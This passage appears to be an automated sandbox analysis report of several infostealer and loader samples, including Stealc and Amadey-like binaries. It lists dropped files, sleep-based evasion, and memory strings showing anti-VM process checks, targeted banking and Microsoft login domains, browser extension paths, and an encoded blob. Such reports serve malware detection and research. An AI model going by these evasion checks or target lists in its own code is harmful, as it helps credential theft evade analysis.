Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\sintv[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_websocket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ssl.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

API coverage: 6.1 %

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3568	Thread sleep count: 1305 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3568	Thread sleep time: -2611305s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5276	Thread sleep count: 1066 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5276	Thread sleep time: -2133066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2992	Thread sleep count: 198 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2992	Thread sleep time: -5940000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1172	Thread sleep count: 1287 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1172	Thread sleep time: -2575287s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6972	Thread sleep count: 1079 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6972	Thread sleep time: -2159079s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1540	Thread sleep count: 1066 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1540	Thread sleep time: -2133066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3352	Thread sleep count: 1102 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3352	Thread sleep time: -2205102s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2740	Thread sleep count: 1105 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2740	Thread sleep time: -2211105s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe TID: 7604	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe TID: 7540	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe TID: 7680	Thread sleep count: 9861 > 30
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe TID: 7680	Thread sleep time: -295830000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe TID: 7832	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe TID: 6848	Thread sleep time: -270000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe TID: 8128	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe TID: 5836	Thread sleep count: 9619 > 30
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe TID: 5836	Thread sleep time: -288570000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe TID: 4140	Thread sleep time: -180000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\random.exe.6.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0063E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	20_2_0063E430
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_00644910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00644910
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0063BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	20_2_0063BE70
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_006316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_006316D0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_00643EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	20_2_00643EA0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0063F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_0063F6B0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0063DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	20_2_0063DA80
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_006438B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	20_2_006438B0
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_00644570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	20_2_00644570
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0063ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	20_2_0063ED20
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0063DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_0063DE10

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Code function: 20_2_00631160 GetSystemInfo,ExitProcess,

20_2_00631160

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exe
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exe
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uvmwareuser.exe
Source: axplong.exe, 00000013.00000002.4715685872.000000000111D000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000014.00000002.3298927508.0000000000FBD000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000002.3413726497.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000002.3413726497.00000000012DD000.00000004.00000020.00020000.00000000.sdmp, defnur.exe, 0000001D.00000002.4695646225.00000000009E4000.00000004.00000020.00020000.00000000.sdmp, defnur.exe, 0000001D.00000002.4695646225.0000000000A24000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000002.4035913403.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3991489882.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: v_dolg.exe, 00000020.00000002.4035913403.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3991489882.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aqemu
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uvmtoolsd.exeuvmwaretray.exeuvmacthlp.exeuvboxtray.exeuvboxservice.exeuvmsrvc.exeuprl_tools.exeuxenservice.exeuAntiVM.CheckProcessT
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avirtualboxavmwareuAntiVM.CheckGpuadecoded_outputu<genexpr>uAntiVM.CheckGpu.<locals>.<genexpr>L
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avmware
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser.exe
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: v_dolg.exe, 00000020.00000003.3181614476.0000000000DF0000.00000004.00001000.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3181728682.0000000000DF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeSDT\VBOX__=l{TW
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: asandboxacuckooavmavirtualaqemuavboxaxenanodeuAntiVM.CheckHostNameT
Source: stealc_default2.exe, 00000014.00000002.3298927508.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exe
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe
Source: axplong.exe, 00000013.00000002.4715685872.00000000010E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@D
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: axplong.exe, axplong.exe, 00000013.00000002.4699563536.000000000087C000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uvmusrvc.exe
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exe
Source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exe
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uvboxservice.exe
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uqemu-ga.exe
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uvmtoolsd.exe
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uvmsrvc.exe
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exe
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cvmware
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uvmwaretray.exe
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: lVMware
Source: legs.exe, 00000017.00000003.3127306211.0000000003B87000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3176903465.0000000003B8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Source: stub.exe, 00000023.00000003.3727647897.0000022F66548000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3732087624.0000022F66548000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: v_dolg.exe, 00000020.00000002.4035913403.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cVMware
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: v_dolg.exe, 00000020.00000003.3181157758.0000000000DF0000.00000004.00001000.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3181268546.0000000000DF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlp.exeSDT\VBOX__=l{TW
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uvboxtray.exe
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: v_dolg.exe, 00000020.00000003.3851157504.00000000037B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
